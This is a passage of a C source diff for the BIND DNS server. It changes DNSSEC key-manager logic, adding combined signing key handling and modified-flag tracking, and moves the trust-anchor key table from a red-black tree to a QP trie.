 		ksk = ((dst_key_flags(key->key) & DNS_KEYFLAG_KSK) != 0);
-		dst_key_setbool(key->key, DST_BOOL_KSK, ksk);
+		dst_key_setbool(key->key, DST_BOOL_KSK, (ksk || csk));
 	}
 	ret = dst_key_getbool(key->key, DST_BOOL_ZSK, &zsk);
 	if (ret != ISC_R_SUCCESS) {
 		zsk = ((dst_key_flags(key->key) & DNS_KEYFLAG_KSK) == 0);
-		dst_key_setbool(key->key, DST_BOOL_ZSK, zsk);
+		dst_key_setbool(key->key, DST_BOOL_ZSK, (zsk || csk));
 	}
 
 	/* Get time metadata. */
 	ret = dst_key_gettime(key->key, DST_TIME_ACTIVATE, &active);
 	if (active <= now && ret == ISC_R_SUCCESS) {
-		dns_ttl_t zone_ttl = dns_kasp_zonemaxttl(kasp);
-		zone_ttl += dns_kasp_zonepropagationdelay(kasp);
-		if ((active + zone_ttl) <= now) {
+		dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true);
+		ttlsig += dns_kasp_zonepropagationdelay(kasp);
+		if ((active + ttlsig) <= now) {
 			zrrsig_state = OMNIPRESENT;
 		} else {
 			zrrsig_state = RUMOURED;
@@ -1591,9 +1621,9 @@ keymgr_key_init(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
 	}
 	ret = dst_key_gettime(key->key, DST_TIME_INACTIVE, &retire);
 	if (retire <= now && ret == ISC_R_SUCCESS) {
-		dns_ttl_t zone_ttl = dns_kasp_zonemaxttl(kasp);
-		zone_ttl += dns_kasp_zonepropagationdelay(kasp);
-		if ((retire + zone_ttl) <= now) {
+		dns_ttl_t ttlsig = dns_kasp_zonemaxttl(kasp, true);
+		ttlsig += dns_kasp_zonepropagationdelay(kasp);
+		if ((retire + ttlsig) <= now) {
 			zrrsig_state = HIDDEN;
 		} else {
 			zrrsig_state = UNRETENTIVE;
@@ -1617,20 +1647,21 @@ keymgr_key_init(dns_dnsseckey_t *key, dns_kasp_t *kasp, isc_stdtime_t now) {
 
 	/* Set goal if not already set. */
 	if (dst_key_getstate(key->key, DST_KEY_GOAL, &goal_state) !=
-	    ISC_R_SUCCESS) {
+	    ISC_R_SUCCESS)
+	{
 		dst_key_setstate(key->key, DST_KEY_GOAL, goal_state);
 	}
 
 	/* Set key states for all keys that do not have them. */
 	INITIALIZE_STATE(key->key, DST_KEY_DNSKEY, DST_TIME_DNSKEY,
 			 dnskey_state, now);
-	if (ksk) {
+	if (ksk || csk) {
 		INITIALIZE_STATE(key->key, DST_KEY_KRRSIG, DST_TIME_KRRSIG,
 				 dnskey_state, now);
 		INITIALIZE_STATE(key->key, DST_KEY_DS, DST_TIME_DS, ds_state,
 				 now);
 	}
-	if (zsk) {
+	if (zsk || csk) {
 		INITIALIZE_STATE(key->key, DST_KEY_ZRRSIG, DST_TIME_ZRRSIG,
 				 zrrsig_state, now);
 	}
@@ -1667,7 +1698,7 @@ keymgr_key_rollover(dns_kasp_key_t *kaspkey, dns_dnsseckey_t *active_key,
 		 */
 		prepub = keymgr_prepublication_time(active_key, kasp, lifetime,
 						    now);
-		if (prepub == 0 || prepub > now) {
+		if (prepub > now) {
 			if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(1))) {
 				dst_key_format(active_key->key, keystr,
 					       sizeof(keystr));
@@ -1680,7 +1711,8 @@ keymgr_key_rollover(dns_kasp_key_t *kaspkey, dns_dnsseckey_t *active_key,
 					keystr, keymgr_keyrole(active_key->key),
 					dns_kasp_getname(kasp), (prepub - now));
 			}
-
+		}
+		if (prepub == 0 || prepub > now) {
 			/* No need to start rollover now. */
 			if (*nexttime == 0 || prepub < *nexttime) {
 				*nexttime = prepub;
@@ -1755,6 +1787,9 @@ keymgr_key_rollover(dns_kasp_key_t *kaspkey, dns_dnsseckey_t *active_key,
 
 	if (candidate == NULL) {
 		/* No key available in keyring, create a new one. */
+		bool csk = (dns_kasp_key_ksk(kaspkey) &&
+			    dns_kasp_key_zsk(kaspkey));
+
 		isc_result_t result = keymgr_createkey(kaspkey, origin, rdclass,
 						       mctx, keyring, newkeys,
 						       &dst_key);
@@ -1763,11 +1798,8 @@ keymgr_key_rollover(dns_kasp_key_t *kaspkey, dns_dnsseckey_t *active_key,
 		}
 		dst_key_setttl(dst_key, dns_kasp_dnskeyttl(kasp));
 		dst_key_settime(dst_key, DST_TIME_CREATED, now);
-		result = dns_dnsseckey_create(mctx, &dst_key, &new_key);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-		keymgr_key_init(new_key, kasp, now);
+		dns_dnsseckey_create(mctx, &dst_key, &new_key);
+		keymgr_key_init(new_key, kasp, now, csk);
 	} else {
 		new_key = candidate;
 	}
@@ -1953,6 +1985,7 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 	isc_dir_t dir;
 	bool dir_open = false;
 	bool secure_to_insecure = false;
+	int numkeys = 0;
 	int options = (DST_TYPE_PRIVATE | DST_TYPE_PUBLIC | DST_TYPE_STATE);
 	char keystr[DST_KEY_FORMATSIZE];
 
@@ -2003,13 +2036,19 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 		}
 	}
 
+	for (dns_dnsseckey_t *dkey = ISC_LIST_HEAD(*dnskeys); dkey != NULL;
+	     dkey = ISC_LIST_NEXT(dkey, link))
+	{
+		numkeys++;
+	}
+
 	/* Do we need to remove keys? */
 	for (dns_dnsseckey_t *dkey = ISC_LIST_HEAD(*keyring); dkey != NULL;
 	     dkey = ISC_LIST_NEXT(dkey, link))
 	{
 		bool found_match = false;
 
-		keymgr_key_init(dkey, kasp, now);
+		keymgr_key_init(dkey, kasp, now, (numkeys == 1));
 
 		for (kkey = ISC_LIST_HEAD(dns_kasp_keys(kasp)); kkey != NULL;
 		     kkey = ISC_LIST_NEXT(kkey, link))
@@ -2027,7 +2066,8 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 
 		/* Check purge-keys interval. */
 		if (keymgr_key_may_be_purged(dkey->key,
-					     dns_kasp_purgekeys(kasp), now)) {
+					     dns_kasp_purgekeys(kasp), now))
+		{
 			dst_key_format(dkey->key, keystr, sizeof(keystr));
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
 				      DNS_LOGMODULE_DNSSEC, ISC_LOG_INFO,
@@ -2074,7 +2114,8 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 				/* Initialize lifetime if not set. */
 				uint32_t l;
 				if (dst_key_getnum(dkey->key, DST_NUM_LIFETIME,
-						   &l) != ISC_R_SUCCESS) {
+						   &l) != ISC_R_SUCCESS)
+				{
 					dst_key_setnum(dkey->key,
 						       DST_NUM_LIFETIME,
 						       lifetime);
@@ -2108,7 +2149,8 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 				 * or desires to be active.
 				 */
 				if (dst_key_goal(dkey->key) == OMNIPRESENT ||
-				    dst_key_is_active(dkey->key, now)) {
+				    dst_key_is_active(dkey->key, now))
+				{
 					active_key = dkey;
 				}
 			}
@@ -2126,7 +2168,8 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 			     dnskey = ISC_LIST_NEXT(dnskey, link))
 			{
 				if (keymgr_dnsseckey_kaspkey_match(dnskey,
-								   kkey)) {
+								   kkey))
+				{
 					/* Found a match. */
 					dst_key_format(dnskey->key, keystr,
 						       sizeof(keystr));
@@ -2171,9 +2214,10 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 	for (dns_dnsseckey_t *dkey = ISC_LIST_HEAD(*keyring); dkey != NULL;
 	     dkey = ISC_LIST_NEXT(dkey, link))
 	{
-		if (!dkey->purge) {
+		if (dst_key_ismodified(dkey->key) && !dkey->purge) {
 			dns_dnssec_get_hints(dkey, now);
 			RETERR(dst_key_tofile(dkey->key, options, directory));
+			dst_key_setmodified(dkey->key, false);
 		}
 	}
 
@@ -2193,6 +2237,13 @@ dns_keymgr_run(const dns_name_t *origin, dns_rdataclass_t rdclass,
 		}
 	}
 
+	if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+		char namebuf[DNS_NAME_FORMATSIZE];
+		dns_name_format(origin, namebuf, sizeof(namebuf));
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
+			      DNS_LOGMODULE_DNSSEC, ISC_LOG_DEBUG(3),
+			      "keymgr: %s done", namebuf);
+	}
 	return (result);
 }
 
@@ -2240,9 +2291,32 @@ keymgr_checkds(dns_kasp_t *kasp, dns_dnsseckeylist_t *keyring,
 	}
 
 	if (dspublish) {
+		dst_key_state_t s;
 		dst_key_settime(ksk_key->key, DST_TIME_DSPUBLISH, when);
+		result = dst_key_getstate(ksk_key->key, DST_KEY_DS, &s);
+		if (result != ISC_R_SUCCESS || s != RUMOURED) {
+			dst_key_setstate(ksk_key->key, DST_KEY_DS, RUMOURED);
+		}
 	} else {
+		dst_key_state_t s;
 		dst_key_settime(ksk_key->key, DST_TIME_DSDELETE, when);
+		result = dst_key_getstate(ksk_key->key, DST_KEY_DS, &s);
+		if (result != ISC_R_SUCCESS || s != UNRETENTIVE) {
+			dst_key_setstate(ksk_key->key, DST_KEY_DS, UNRETENTIVE);
+		}
+	}
+
+	if (isc_log_wouldlog(dns_lctx, ISC_LOG_NOTICE)) {
+		char keystr[DST_KEY_FORMATSIZE];
+		char timestr[26]; /* Minimal buf as per ctime_r() spec. */
+
+		dst_key_format(ksk_key->key, keystr, sizeof(keystr));
+		isc_stdtime_tostring(when, timestr, sizeof(timestr));
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
+			      DNS_LOGMODULE_DNSSEC, ISC_LOG_NOTICE,
+			      "keymgr: checkds DS for key %s seen %s at %s",
+			      keystr, dspublish ? "published" : "withdrawn",
+			      timestr);
 	}
 
 	/* Store key state and update hints. */
@@ -2257,6 +2331,9 @@ keymgr_checkds(dns_kasp_t *kasp, dns_dnsseckeylist_t *keyring,
 
 	dns_dnssec_get_hints(ksk_key, now);
 	result = dst_key_tofile(ksk_key->key, options, directory);
+	if (result == ISC_R_SUCCESS) {
+		dst_key_setmodified(ksk_key->key, false);
+	}
 	isc_dir_close(&dir);
 
 	return (result);
@@ -2557,6 +2634,9 @@ dns_keymgr_rollover(dns_kasp_t *kasp, dns_dnsseckeylist_t *keyring,
 
 	dns_dnssec_get_hints(key, now);
 	result = dst_key_tofile(key->key, options, directory);
+	if (result == ISC_R_SUCCESS) {
+		dst_key_setmodified(key->key, false);
+	}
 	isc_dir_close(&dir);
 
 	return (result);
diff --git a/lib/dns/keytable.c b/lib/dns/keytable.c
index b7c5990bf1..8f415612ed 100644
--- a/lib/dns/keytable.c
+++ b/lib/dns/keytable.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,21 +16,21 @@
 #include <stdbool.h>
 
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/rwlock.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
 #include <dns/keytable.h>
-#include <dns/rbt.h>
+#include <dns/qp.h>
 #include <dns/rdata.h>
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
+#include <dns/view.h>
 
 #define KEYTABLE_MAGIC	   ISC_MAGIC('K', 'T', 'b', 'l')
 #define VALID_KEYTABLE(kt) ISC_MAGIC_VALID(kt, KEYTABLE_MAGIC)
@@ -37,20 +39,20 @@
 #define VALID_KEYNODE(kn) ISC_MAGIC_VALID(kn, KEYNODE_MAGIC)
 
 struct dns_keytable {
-	/* Unlocked. */
 	unsigned int magic;
 	isc_mem_t *mctx;
 	isc_refcount_t references;
 	isc_rwlock_t rwlock;
-	/* Locked by rwlock. */
-	dns_rbt_t *table;
+	dns_qpmulti_t *table;
 };
 
 struct dns_keynode {
 	unsigned int magic;
 	isc_mem_t *mctx;
-	isc_refcount_t refcount;
+	isc_refcount_t references;
 	isc_rwlock_t rwlock;
+	dns_fixedname_t fn;
+	dns_name_t *name;
 	dns_rdatalist_t *dslist;
 	dns_rdataset_t dsset;
 	bool managed;
@@ -58,11 +60,29 @@ struct dns_keynode {
 };
 
 static dns_keynode_t *
-new_keynode(dns_rdata_ds_t *ds, dns_keytable_t *keytable, bool managed,
-	    bool initial);
+new_keynode(const dns_name_t *name, dns_rdata_ds_t *ds,
+	    dns_keytable_t *keytable, bool managed, bool initial);
+
+/* QP trie methods */
+static void
+qp_attach(void *uctx, void *pval, uint32_t ival);
+static void
+qp_detach(void *uctx, void *pval, uint32_t ival);
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival);
+static void
+qp_triename(void *uctx, char *buf, size_t size);
+
+static dns_qpmethods_t qpmethods = {
+	qp_attach,
+	qp_detach,
+	qp_makekey,
+	qp_triename,
+};
 
+/* rdataset methods */
 static void
-keynode_disassociate(dns_rdataset_t *rdataset);
+keynode_disassociate(dns_rdataset_t *rdataset DNS__DB_FLARG);
 static isc_result_t
 keynode_first(dns_rdataset_t *rdataset);
 static isc_result_t
@@ -70,77 +90,44 @@ keynode_next(dns_rdataset_t *rdataset);
 static void
 keynode_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata);
 static void
-keynode_clone(dns_rdataset_t *source, dns_rdataset_t *target);
+keynode_clone(dns_rdataset_t *source, dns_rdataset_t *target DNS__DB_FLARG);
 
 static dns_rdatasetmethods_t methods = {
-	keynode_disassociate,
-	keynode_first,
-	keynode_next,
-	keynode_current,
-	keynode_clone,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL, /* settrust */
-	NULL, /* expire */
-	NULL, /* clearprefetch */
-	NULL,
-	NULL,
-	NULL /* addglue */
+	.disassociate = keynode_disassociate,
+	.first = keynode_first,
+	.next = keynode_next,
+	.current = keynode_current,
+	.clone = keynode_clone,
 };
 
 static void
-keynode_attach(dns_keynode_t *source, dns_keynode_t **target) {
-	REQUIRE(VALID_KEYNODE(source));
-	isc_refcount_increment(&source->refcount);
-	*target = source;
-}
-
-static void
-keynode_detach(isc_mem_t *mctx, dns_keynode_t **keynodep) {
-	REQUIRE(keynodep != NULL && VALID_KEYNODE(*keynodep));
-	dns_keynode_t *knode = *keynodep;
-	*keynodep = NULL;
-
-	if (isc_refcount_decrement(&knode->refcount) == 1) {
-		dns_rdata_t *rdata = NULL;
-		isc_refcount_destroy(&knode->refcount);
-		isc_rwlock_destroy(&knode->rwlock);
-		if (knode->dslist != NULL) {
-			for (rdata = ISC_LIST_HEAD(knode->dslist->rdata);
-			     rdata != NULL;
-			     rdata = ISC_LIST_HEAD(knode->dslist->rdata))
-			{
-				ISC_LIST_UNLINK(knode->dslist->rdata, rdata,
-						link);
-				isc_mem_put(mctx, rdata->data,
-					    DNS_DS_BUFFERSIZE);
-				isc_mem_put(mctx, rdata, sizeof(*rdata));
-			}
+destroy_keynode(dns_keynode_t *knode) {
+	dns_rdata_t *rdata = NULL;
 
-			isc_mem_put(mctx, knode->dslist,
-				    sizeof(*knode->dslist));
-			knode->dslist = NULL;
+	isc_refcount_destroy(&knode->references);
+	isc_rwlock_destroy(&knode->rwlock);
+	if (knode->dslist != NULL) {
+		for (rdata = ISC_LIST_HEAD(knode->dslist->rdata); rdata != NULL;
+		     rdata = ISC_LIST_HEAD(knode->dslist->rdata))
+		{
+			ISC_LIST_UNLINK(knode->dslist->rdata, rdata, link);
+			isc_mem_put(knode->mctx, rdata->data,
+				    DNS_DS_BUFFERSIZE);
+			isc_mem_put(knode->mctx, rdata, sizeof(*rdata));
 		}
-		isc_mem_putanddetach(&knode->mctx, knode,
-				     sizeof(dns_keynode_t));
-	}
-}
 
-static void
-free_keynode(void *node, void *arg) {
-	dns_keynode_t *keynode = node;
-	isc_mem_t *mctx = arg;
+		isc_mem_put(knode->mctx, knode->dslist, sizeof(*knode->dslist));
+		knode->dslist = NULL;
+	}
 
-	keynode_detach(mctx, &keynode);
+	isc_mem_putanddetach(&knode->mctx, knode, sizeof(dns_keynode_t));
 }
 
-isc_result_t
-dns_keytable_create(isc_mem_t *mctx, dns_keytable_t **keytablep) {
-	dns_keytable_t *keytable;
-	isc_result_t result;
+ISC_REFCOUNT_IMPL(dns_keynode, destroy_keynode);
+
+void
+dns_keytable_create(dns_view_t *view, dns_keytable_t **keytablep) {
+	dns_keytable_t *keytable = NULL;
 
 	/*
 	 * Create a keytable.
@@ -148,55 +135,40 @@ dns_keytable_create(isc_mem_t *mctx, dns_keytable_t **keytablep) {
 
 	REQUIRE(keytablep != NULL && *keytablep == NULL);
 
-	keytable = isc_mem_get(mctx, sizeof(*keytable));
+	keytable = isc_mem_get(view->mctx, sizeof(*keytable));
+	*keytable = (dns_keytable_t){
+		.magic = KEYTABLE_MAGIC,
+	};
 
-	keytable->table = NULL;
-	result = dns_rbt_create(mctx, free_keynode, mctx, &keytable->table);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_keytable;
-	}
-
-	isc_rwlock_init(&keytable->rwlock, 0, 0);
+	isc_mem_attach(view->mctx, &keytable->mctx);
+	dns_qpmulti_create(view->mctx, &qpmethods, view, &keytable->table);
 	isc_refcount_init(&keytable->references, 1);
-
-	keytable->mctx = NULL;
-	isc_mem_attach(mctx, &keytable->mctx);
-	keytable->magic = KEYTABLE_MAGIC;
 	*keytablep = keytable;
+}
 
-	return (ISC_R_SUCCESS);
-
-cleanup_keytable:
-	isc_mem_putanddetach(&mctx, keytable, sizeof(*keytable));
+static void
+destroy_keytable(dns_keytable_t *keytable) {
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
+	void *pval = NULL;
 
-	return (result);
-}
+	keytable->magic = 0;
 
-void
-dns_keytable_attach(dns_keytable_t *source, dns_keytable_t **targetp) {
-	REQUIRE(VALID_KEYTABLE(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
+	dns_qpmulti_query(keytable->table, &qpr);
+	dns_qpiter_init(&qpr, &iter);
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns_keynode_t *n = pval;
+		dns_keynode_detach(&n);
+	}
+	dns_qpread_destroy(keytable->table, &qpr);
 
-	isc_refcount_increment(&source->references);
+	dns_qpmulti_destroy(&keytable->table);
+	isc_refcount_destroy(&keytable->references);
 
-	*targetp = source;
+	isc_mem_putanddetach(&keytable->mctx, keytable, sizeof(*keytable));
 }
 
-void
-dns_keytable_detach(dns_keytable_t **keytablep) {
-	REQUIRE(keytablep != NULL && VALID_KEYTABLE(*keytablep));
-	dns_keytable_t *keytable = *keytablep;
-	*keytablep = NULL;
-
-	if (isc_refcount_decrement(&keytable->references) == 1) {
-		isc_refcount_destroy(&keytable->references);
-		dns_rbt_destroy(&keytable->table);
-		isc_rwlock_destroy(&keytable->rwlock);
-		keytable->magic = 0;
-		isc_mem_putanddetach(&keytable->mctx, keytable,
-				     sizeof(*keytable));
-	}
-}
+ISC_REFCOUNT_IMPL(dns_keytable, destroy_keytable);
 
 static void
 add_ds(dns_keynode_t *knode, dns_rdata_ds_t *ds, isc_mem_t *mctx) {
@@ -230,11 +202,8 @@ add_ds(dns_keynode_t *knode, dns_rdata_ds_t *ds, isc_mem_t *mctx) {
 		knode->dsset.type = knode->dslist->type;
 		knode->dsset.covers = knode->dslist->covers;
 		knode->dsset.ttl = knode->dslist->ttl;
-		knode->dsset.private1 = knode;
-		knode->dsset.private2 = NULL;
-		knode->dsset.private3 = NULL;
-		knode->dsset.privateuint4 = 0;
-		knode->dsset.private5 = NULL;
+		knode->dsset.keytable.node = knode;
+		knode->dsset.keytable.iter = NULL;
 		knode->dsset.trust = dns_trust_ultimate;
 	}
 
@@ -258,13 +227,15 @@ add_ds(dns_keynode_t *knode, dns_rdata_ds_t *ds, isc_mem_t *mctx) {
 }
 
 static isc_result_t
-delete_ds(dns_keytable_t *keytable, dns_rbtnode_t *node, dns_rdata_ds_t *ds) {
-	dns_keynode_t *knode = node->data;
+delete_ds(dns_qp_t *qp, dns_keytable_t *keytable, dns_keynode_t *knode,
+	  dns_rdata_ds_t *ds) {
 	isc_result_t result;
 	dns_rdata_t dsrdata = DNS_RDATA_INIT;
 	dns_rdata_t *rdata = NULL;
+	dns_keynode_t *newnode = NULL;
 	unsigned char data[DNS_DS_BUFFERSIZE];
 	bool found = false;
+	void *pval = NULL;
 	isc_buffer_t b;
 
 	RWLOCK(&knode->rwlock, isc_rwlocktype_read);
@@ -303,8 +274,8 @@ delete_ds(dns_keytable_t *keytable, dns_rbtnode_t *node, dns_rdata_ds_t *ds) {
 	/*
 	 * Replace knode with a new instance without the DS.
 	 */
-	node->data = new_keynode(NULL, keytable, knode->managed,
-				 knode->initial);
+	newnode = new_keynode(knode->name, NULL, keytable, knode->managed,
+			      knode->initial);
 	for (rdata = ISC_LIST_HEAD(knode->dslist->rdata); rdata != NULL;
 	     rdata = ISC_LIST_NEXT(rdata, link))
 	{
@@ -312,13 +283,20 @@ delete_ds(dns_keytable_t *keytable, dns_rbtnode_t *node, dns_rdata_ds_t *ds) {
 			dns_rdata_ds_t ds0;
 			result = dns_rdata_tostruct(rdata, &ds0, NULL);
 			RUNTIME_CHECK(result == ISC_R_SUCCESS);
-			add_ds(node->data, &ds0, keytable->mctx);
+			add_ds(newnode, &ds0, keytable->mctx);
 		}
 	}
-	RWUNLOCK(&knode->rwlock, isc_rwlocktype_read);
 
-	keynode_detach(keytable->mctx, &knode);
+	result = dns_qp_deletename(qp, knode->name, &pval, NULL);
+	INSIST(result == ISC_R_SUCCESS);
+	INSIST(pval == knode);
 
+	result = dns_qp_insert(qp, newnode, 0);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+
+	RWUNLOCK(&knode->rwlock, isc_rwlocktype_read);
+
+	dns_keynode_detach(&knode);
 	return (ISC_R_SUCCESS);
 }
 
@@ -328,8 +306,8 @@ delete_ds(dns_keytable_t *keytable, dns_rbtnode_t *node, dns_rdata_ds_t *ds) {
  * to "node" in "keytable".
  */
 static dns_keynode_t *
-new_keynode(dns_rdata_ds_t *ds, dns_keytable_t *keytable, bool managed,
-	    bool initial) {
+new_keynode(const dns_name_t *name, dns_rdata_ds_t *ds,
+	    dns_keytable_t *keytable, bool managed, bool initial) {
 	dns_keynode_t *knode = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
@@ -339,8 +317,11 @@ new_keynode(dns_rdata_ds_t *ds, dns_keytable_t *keytable, bool managed,
 	*knode = (dns_keynode_t){ .magic = KEYNODE_MAGIC };
 
 	dns_rdataset_init(&knode->dsset);
-	isc_refcount_init(&knode->refcount, 1);
-	isc_rwlock_init(&knode->rwlock, 0, 0);
+	isc_refcount_init(&knode->references, 1);
+	isc_rwlock_init(&knode->rwlock);
+
+	knode->name = dns_fixedname_initname(&knode->fn);
+	dns_name_copy(name, knode->name);
 
 	/*
 	 * If a DS was supplied, initialize an rdatalist.
@@ -365,80 +346,84 @@ new_keynode(dns_rdata_ds_t *ds, dns_keytable_t *keytable, bool managed,
  */
 static isc_result_t
 insert(dns_keytable_t *keytable, bool managed, bool initial,
-       const dns_name_t *keyname, dns_rdata_ds_t *ds) {
-	dns_rbtnode_t *node = NULL;
+       const dns_name_t *keyname, dns_rdata_ds_t *ds,
+       dns_keytable_callback_t callback, void *callback_arg) {
 	isc_result_t result;
+	dns_keynode_t *newnode = NULL;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_write);
+	dns_qpmulti_write(keytable->table, &qp);
 
-	result = dns_rbt_addnode(keytable->table, keyname, &node);
-	if (result == ISC_R_SUCCESS) {
+	result = dns_qp_getname(qp, keyname, &pval, NULL);
+	if (result != ISC_R_SUCCESS) {
 		/*
-		 * There was no node for "keyname" in "keytable" yet, so one
+		 * There was no match for "keyname" in "keytable" yet, so one
 		 * was created.  Create a new key node for the supplied
 		 * trust anchor (or a null key node if "ds" is NULL)
-		 * and attach it to the created node.
+		 * and insert it.
 		 */
-		node->data = new_keynode(ds, keytable, managed, initial);
-	} else if (result == ISC_R_EXISTS) {
+		newnode = new_keynode(keyname, ds, keytable, managed, initial);
+		result = dns_qp_insert(qp, newnode, 0);
+		if (callback != NULL) {
+			(*callback)(keyname, callback_arg);
+		}
+	} else {
 		/*
 		 * A node already exists for "keyname" in "keytable".
 		 */
 		if (ds != NULL) {
-			dns_keynode_t *knode = node->data;
-			if (knode == NULL) {
-				node->data = new_keynode(ds, keytable, managed,
-							 initial);
-			} else {
-				add_ds(knode, ds, keytable->mctx);
-			}
+			dns_keynode_t *knode = pval;
+			add_ds(knode, ds, keytable->mctx);
 		}
 		result = ISC_R_SUCCESS;
 	}
 
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_write);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(keytable->table, &qp);
 
 	return (result);
 }
 
 isc_result_t
 dns_keytable_add(dns_keytable_t *keytable, bool managed, bool initial,
-		 dns_name_t *name, dns_rdata_ds_t *ds) {
+		 dns_name_t *name, dns_rdata_ds_t *ds,
+		 dns_keytable_callback_t callback, void *callback_arg) {
 	REQUIRE(ds != NULL);
 	REQUIRE(!initial || managed);
 
-	return (insert(keytable, managed, initial, name, ds));
+	return (insert(keytable, managed, initial, name, ds, callback,
+		       callback_arg));
 }
 
 isc_result_t
 dns_keytable_marksecure(dns_keytable_t *keytable, const dns_name_t *name) {
-	return (insert(keytable, true, false, name, NULL));
+	return (insert(keytable, true, false, name, NULL, NULL, NULL));
 }
 
 isc_result_t
-dns_keytable_delete(dns_keytable_t *keytable, const dns_name_t *keyname) {
+dns_keytable_delete(dns_keytable_t *keytable, const dns_name_t *keyname,
+		    dns_keytable_callback_t callback, void *callback_arg) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 	REQUIRE(keyname != NULL);
 
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_write);
-	result = dns_rbt_findnode(keytable->table, keyname, NULL, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
+	dns_qpmulti_write(keytable->table, &qp);
+	result = dns_qp_deletename(qp, keyname, &pval, NULL);
 	if (result == ISC_R_SUCCESS) {
-		if (node->data != NULL) {
-			result = dns_rbt_deletenode(keytable->table, node,
-						    false);
-		} else {
-			result = ISC_R_NOTFOUND;
+		dns_keynode_t *n = pval;
+		if (callback != NULL) {
+			(*callback)(keyname, callback_arg);
 		}
-	} else if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_NOTFOUND;
+		dns_keynode_detach(&n);
 	}
-	RWUNLOCK(&keytable->rwlock, isc_rwlocktype_write);
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(keytable->table, &qp);
 
 	return (result);
 }
@@ -447,38 +432,25 @@ isc_result_t
 dns_keytable_deletekey(dns_keytable_t *keytable, const dns_name_t *keyname,
 		       dns_rdata_dnskey_t *dnskey) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
 	dns_keynode_t *knode = NULL;
 	dns_rdata_t rdata = DNS_RDATA_INIT;
 	// OQS updated from 4096 to 8192
 	unsigned char data[8192], digest[DNS_DS_BUFFERSIZE];
 	dns_rdata_ds_t ds;
 	isc_buffer_t b;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
 
 	REQUIRE(VALID_KEYTABLE(keytable));
 	REQUIRE(dnskey != NULL);
 
-	isc_buffer_init(&b, data, sizeof(data));
-	dns_rdata_fromstruct(&rdata, dnskey->common.rdclass,
-			     dns_rdatatype_dnskey, dnskey, &b);
-
-	RWLOCK(&keytable->rwlock, isc_rwlocktype_write);
-	result = dns_rbt_findnode(keytable->table, keyname, NULL, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
-
-	if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_NOTFOUND;
-	}
+	dns_qpmulti_write(keytable->table, &qp);
+	result = dns_qp_getname(qp, keyname, &pval, NULL);
 	if (result != ISC_R_SUCCESS) {
 		goto finish;
 	}
 
-	if (node->data == NULL) {
-		result = ISC_R_NOTFOUND;
-		goto finish;
-	}
-
-	knode = node->data;
+	knode = pval;
 
 	RWLOCK(&knode->rwlock, isc_rwlocktype_read);
 	if (knode->dslist == NULL) {
@@ -488,16 +460,25 @@ dns_keytable_deletekey(dns_keytable_t *keytable, const dns_name_t *keyname,
 	}
 	RWUNLOCK(&knode->rwlock, isc_rwlocktype_read);
 
+	isc_buffer_init(&b, data, sizeof(data));
+	result = dns_rdata_fromstruct(&rdata, dnskey->common.rdclass,
+				      dns_rdatatype_dnskey, dnskey, &b);
+	if (result != ISC_R_SUCCESS) {
+		goto finish;
+	}
+
 	result = dns_ds_fromkeyrdata(keyname, &rdata, DNS_DSDIGEST_SHA256,
 				     digest, &ds);
 	if (result != ISC_R_SUCCESS) {
 		goto finish;
 	}
 
-	result = delete_ds(keytable, node, &ds);
+	result = delete_ds(qp, keytable, knode, &ds);
 
 finish:
